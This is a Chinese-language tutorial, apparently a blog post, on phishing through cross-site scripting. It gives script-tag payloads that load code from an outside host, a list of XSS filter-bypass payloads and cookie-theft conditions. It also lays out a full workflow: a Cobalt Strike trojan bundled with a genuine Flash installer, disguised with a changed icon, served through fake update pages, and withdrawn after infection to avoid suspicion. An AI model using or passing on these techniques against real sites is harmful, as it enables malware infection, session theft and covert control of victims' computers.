初探XSS钓鱼

什么时候可以进行钓鱼?

①网站存在XSS漏洞

②站点已经getshell的情况

在存在漏洞处放入payload

<sCRiPt sRC=xss.com/asdq></sCrIpT>

具体执行

可以先放入探针,测试通过对方的ua头,检查对面电脑的基本情况

66analytics这个工具可以记录在后台记录整个操作的视频,甚至还可以记录鼠标的点击和移动过程

然后可以针对目标,放入类似flash更新,浏览器版本更新的模版

可以根据目标浏览器的语言情况,设置繁简两种模板,不容易被察觉

放在最醒目位置的就是冲锋马,然后还需要维权马,还需要有操作马

在对面双击后,可以做收杆的操作,这样是为了在上线之后,撤掉站点的flash更新和浏览器崩溃等模版

收杆思路

收杆有两种思路,第一种是按次数来收杆,给浏览器的cookie设置值,每刷新1次,就增加1

第二种是可以给马加一个随机数,由xss平台来生成,这样下载的时候类chromeupdate_xxxx.exe,然后把这xxxx返回给平台,平台来控制撤杆

第二种方式缺点:比较容易被浏览器检测出来 +

收杆的作用是让攻击者可以下载你的马,然后控制对方的电脑权限,弹窗一般就弹三次,不然会引起对方的怀疑,所以需要及时的撤回页面,这样比较稳妥

上线以后的操作

上线了以后可以进一步的执行提权操作

例子:上线了一台电脑后,假如说他是工作组,你不能通过内网渗透的方式去突破,比较困难,也不是域的环境,该怎么做?

答:使用tdata劫持他的数据,用快捷方式做马

钓鱼平台需要自己去搭,公开的xss平台有,xssplatform

小目标就直接上弹窗就可以了

听完师傅讲的XSS钓鱼后,因为兴趣使然,我又去找了个公开课做进一步的拓展

XSS的三种类型

反射型XSS,存储型XSS,基于DOM的XSS

反射型XSS

反射型XSS也称非持久性型XSS,他攻击是一次性的,仅对单次的页面访问产生影响。非持久型XSS攻击用户访问一个被攻击者篡改后的链接来诱使客户点击,比如这样的一段链接:

www.joker.com/?params=<script>alert(/xss/)</script>

用户访问该链接时,被植入的攻击脚本被用户浏览器执行,从而达到攻击的目的。

存储型XSS

存储型XSS与反弹型XSS的特点刚好相反,它构造的恶意代码会经过服务器端的存储所以可以多次触发执行,故又称为持久性XSS,该类型的XSS攻击通过一些手法把恶意脚本向服务器端的数据库中写入进去,当有用户浏览相对应的web界面时便会触发恶意代码执行。

基于DOM的XSS

基于DOM的XSS没经过服务器,所以又称为本地XSS,这种类型则是利用非法输入来闭合对应的html标签。比如有这样的 一个 a标签:<a href=’$var’></a>,乍看问题不大,可是当$var的内容变为’onclick=’alert(/xss/)//,这段代码就会被执行

XSS绕过

script关键字被过滤

alert被过滤

空格被过滤

单引号被过滤

拆分法

script关键字被过滤

大小写

在测试的过程中,我们可以改变测试语句的大小写来绕过XSS规则,师傅在培训的时候写的xss代码就利用到了大小写的绕过方式

比如:

<script>alert("xss");</script> 可以转换为 <ScRipt>ALeRt("XSS");</sCRipT>

嵌套

嵌套<script>和</script>突破

<sc<script>ript>alert(/xss/)</script> 这种绕过和做web题常遇到的双写绕过是类似的

img标签突破

有些网站可能没有对img标签进行限制

<img src=# onerror="alert('xss')">

<img/src/onerror=alert(1)>

<img/src='a'onerror=[1].find(alert)>

<iframe>标签突破

<iframe onload=alert(1)>

alert被过滤

data协议

<object

data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC9zY3JpcHQ+"></object>

<link/rel=prefetch

import href=data:q;base64.PHMjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>

prompt替换

<script>promt(1)</script>

confirm替换

<script>confirm(1)</script>

空格被过滤

用/**/或者/

<img/src/onerror=alert(1)>

单引号被过滤

反引号替代

<img/src=#/onerror="alert(xss2)">

斜杠替代

<script>alert(/xss/)</script>

拆分法

当web应用程序对目标用户输入的长度进行了限制时,这时无法注入较长的 XSS攻击向量,但是在特定情况下 ,这种限制可通过拆分注入的方法进行绕过,如下面的构造方法:

上述代码单看是不完整的,总体看通过拆分法拼凑可以得到了如下完整的攻击向量:

利用replace函数

str1ng”.replace(/1/,alert),// 执行效果相当于alert(1)造成xss,这是DOM型的XSS

XSS利用

Cookie窃取&网络钓鱼

Cookie窃取

服务器为了分辨出不同用户的身份,需要生成cookie,将访问者的一些基本信息,例如身份信息识别、密钥、浏览方式、系统参数等,在浏览器客户端保存于目标用户的这些信息当用户再次访问该web站点时,相对应的 cookie就会被该网站进行填充与服务器进行交互。

运行条件:

1、存在XSS漏洞

2、远程接收cookie

网络钓鱼

网络诈骗中存在一种攻击性行为的方式便是网络钓鱼,攻击者一般会制作带有欺骗性的E-mail,或者高度仿冒的Web界面(钓鱼界面)网站来进行攻击,其中网络钓鱼结合上XSS的攻击方式是目前来说威胁性极高的。

一、重定向钓鱼:将官方网站页面重定向到攻击者自己制作的恶意网站

二、iframe标签钓鱼:通过HTML中的<iframe>标签嵌入攻击者自己的恶意钓鱼界面实现。

三、HTML注入钓鱼:直接将HTML或者JavaScript代码在漏洞处利用XSS注入此页面中。 PS:这次打信安行业决赛的时候,有一道题应该就是需要利用HTML注入漏洞,然后使用HTML代码进行XSS注入一句话木马达成getshell

相关工具

CobaltSrike

监听器/生成payload

监听器是Cobalt Strike与bot之间进行通讯的核心模块,同时是有效负载的配置信息以及告诉Cobalt Strike服务器以从该有效负载接收连接指令,其实是位于有效载荷配置上层的一个抽象概念。

监听器由用户定义的名称、有效负载类型,主机,端口等其他信息组成,用于定义有效负载的存放位置。

生成payload

(1)Payload Generator

这个模块可以生成各种语言的后门Payload,例如:C,C#,Python,Java,Perl,Powershell脚本,Powershell命令,Ruby,Raw,免杀框架Veli中的shellcode等等,因为它可以生成一串可执行的命令,只需要在目标机器上执行这串命令就行,无需做其他操作就可以得到目标机器的shell。

(2)Windows Dropper

这是一个可以和windows程序进行捆绑的选项,可以把后门和别的正常的程序捆绑在一起,比如qq,微信之类的程序,一般钓鱼/社工的时候会用到。

(3) Windows Excutable/Windows Excutable(s)

这个选项是生成windows可执行程序,例:exe、dll。

具体实现

这种图大概就是XSS钓鱼的整个过程

生成木马

使用cobaltstrike生成一个木马

再从官网下载官方的flash安装包,将两个文件放一起压缩成压缩文件。

解压后自动运行木马程序

再使用ResourceHacker工具,对压缩文件的图标进行修改

联动XSS

再在钓鱼界面的代码中,修改访问木马的url地址

打开靶机,插入xss的payload

test<script src=http://xxxxxxxxxx/dy/flash/xss.js></script>

这里可以修改域名,增加真实性。

当你点击后就会跳转到钓鱼页面,然后下载预先准备好的木马程序

getshell

然后再使用Cobalt Strike就可以执行一系列的服务器命令